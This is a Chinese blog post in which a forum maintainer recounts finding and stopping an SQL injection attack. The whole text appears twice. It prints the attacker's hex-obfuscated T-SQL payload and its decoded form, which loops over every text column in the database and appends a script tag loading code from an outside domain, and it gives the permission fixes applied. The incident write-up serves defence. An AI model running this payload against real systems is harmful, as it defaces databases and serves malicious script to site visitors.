记录一次惊险的 Sql Injection
最近维护公司的一个asp论坛,上午同事反映说某些用户的数据有些离谱地异常,让帮查查是什么原因.开始以为可能存在刷票的嫌疑,查 IIS Log ,看似正常无果,后转查看数据库中的表.无意中发现某个 varchar 字段里有 <script src=xxx> ,9成是被注入了! 接下来就是找程序,可从这么多哪里找起? 于是又试图分析 IIS Log 无果. 正当我们茫然不知所措的时候, 刚才清理的数据又回来了.于是赶紧在服务器上打开 Sql 事件探测器开始监测一段时间.大量的查找又几乎无果后突然发现某个 Sql 语句里有一大堆莫名其妙的数字,难道是这里?将其值复制后到本地随便哪个库运行一下,其值类如:
nickname = 'xxx';DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0x4400650063006C0061007200650020004000540020005600610072006300680061007200280032003500350029002C0040004300200056006100720063006800610072002800320035003500290020004400650063006C0061007200650020005400610062006C0065005F0043007500720073006F007200200043007500720073006F007200200046006F0072002000530065006C00650063007400200041002E004E0061006D0065002C0042002E004E0061006D0065002000460072006F006D0020005300790073006F0062006A006500630074007300200041002C0053007900730063006F006C0075006D006E00730020004200200057006800650072006500200041002E00490064003D0042002E0049006400200041006E006400200041002E00580074007900700065003D00270075002700200041006E0064002000280042002E00580074007900700065003D003900390020004F007200200042002E00580074007900700065003D003300350020004F007200200042002E00580074007900700065003D0032003300310020004F007200200042002E00580074007900700065003D00310036003700290020004F00700065006E0020005400610062006C0065005F0043007500720073006F00720020004600650074006300680020004E006500780074002000460072006F006D00200020005400610062006C0065005F0043007500720073006F007200200049006E0074006F002000400054002C004000430020005700680069006C006500280040004000460065007400630068005F005300740061007400750073003D0030002900200042006500670069006E00200045007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200053006500740020005B0027002B00400043002B0027005D003D0052007400720069006D00280043006F006E007600650072007400280056006100720063006800610072002800380030003000300029002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F0033003100380078002E0063002500360046006D003E003C002F007300630072006900700074003E0027002700270029004600650074006300680020004E006500780074002000460072006F006D00200020005400610062006C0065005F0043007500720073006F007200200049006E0074006F002000400054002C0040004300200045006E006400200043006C006F007300650020005400610062006C0065005F0043007500720073006F00720020004400650061006C006C006F00630061007400650020005400610062006C0065005F0043007500720073006F007200 aS NvArChAR(4000));ExEc(@S);--'
原来是我后来新增加了一项功能疏忽了对输入长度的检查, 执行一次 print @S 后骤然明白! 原来此语句变为
Declare @T Varchar(255),@C Varchar(255) Declare Table_Cursor Cursor For Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor Fetch Next From Table_Cursor Into @T,@C While(@@Fetch_Status=0) Begin Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script src=http://318x.c%6Fm></script>''')Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor Deallocate Table_Cursor
典型的 Sql 权限导致的.于是执行
deny select on sysobjects to webuser
deny select on systypes to webuser
太危险了,这个权限会导致很大的问题,于是逐个地检查数据库,把不该要的权限给去掉.
后话: 其实这个问题可以在 IIS Log 中找到,可我们太相信工具了,因为它们都区分大小写导致走了不少的弯路.
最后:特别感谢那位大哥,在注入后手下留情没有执行 truncate table , delete 操作!特别感谢他上班时间注入让我们能跟踪并发现问题.
nickname = 'xxx';DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0x4400650063006C0061007200650020004000540020005600610072006300680061007200280032003500350029002C0040004300200056006100720063006800610072002800320035003500290020004400650063006C0061007200650020005400610062006C0065005F0043007500720073006F007200200043007500720073006F007200200046006F0072002000530065006C00650063007400200041002E004E0061006D0065002C0042002E004E0061006D0065002000460072006F006D0020005300790073006F0062006A006500630074007300200041002C0053007900730063006F006C0075006D006E00730020004200200057006800650072006500200041002E00490064003D0042002E0049006400200041006E006400200041002E00580074007900700065003D00270075002700200041006E0064002000280042002E00580074007900700065003D003900390020004F007200200042002E00580074007900700065003D003300350020004F007200200042002E00580074007900700065003D0032003300310020004F007200200042002E00580074007900700065003D00310036003700290020004F00700065006E0020005400610062006C0065005F0043007500720073006F00720020004600650074006300680020004E006500780074002000460072006F006D00200020005400610062006C0065005F0043007500720073006F007200200049006E0074006F002000400054002C004000430020005700680069006C006500280040004000460065007400630068005F005300740061007400750073003D0030002900200042006500670069006E00200045007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200053006500740020005B0027002B00400043002B0027005D003D0052007400720069006D00280043006F006E007600650072007400280056006100720063006800610072002800380030003000300029002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F0033003100380078002E0063002500360046006D003E003C002F007300630072006900700074003E0027002700270029004600650074006300680020004E006500780074002000460072006F006D00200020005400610062006C0065005F0043007500720073006F007200200049006E0074006F002000400054002C0040004300200045006E006400200043006C006F007300650020005400610062006C0065005F0043007500720073006F00720020004400650061006C006C006F00630061007400650020005400610062006C0065005F0043007500720073006F007200 aS NvArChAR(4000));ExEc(@S);--'
原来是我后来新增加了一项功能疏忽了对输入长度的检查, 执行一次 print @S 后骤然明白! 原来此语句变为
Declare @T Varchar(255),@C Varchar(255) Declare Table_Cursor Cursor For Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor Fetch Next From Table_Cursor Into @T,@C While(@@Fetch_Status=0) Begin Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script src=http://318x.c%6Fm></script>''')Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor Deallocate Table_Cursor
典型的 Sql 权限导致的.于是执行
deny select on sysobjects to webuser
deny select on systypes to webuser
太危险了,这个权限会导致很大的问题,于是逐个地检查数据库,把不该要的权限给去掉.
后话: 其实这个问题可以在 IIS Log 中找到,可我们太相信工具了,因为它们都区分大小写导致走了不少的弯路.
最后:特别感谢那位大哥,在注入后手下留情没有执行 truncate table , delete 操作!特别感谢他上班时间注入让我们能跟踪并发现问题.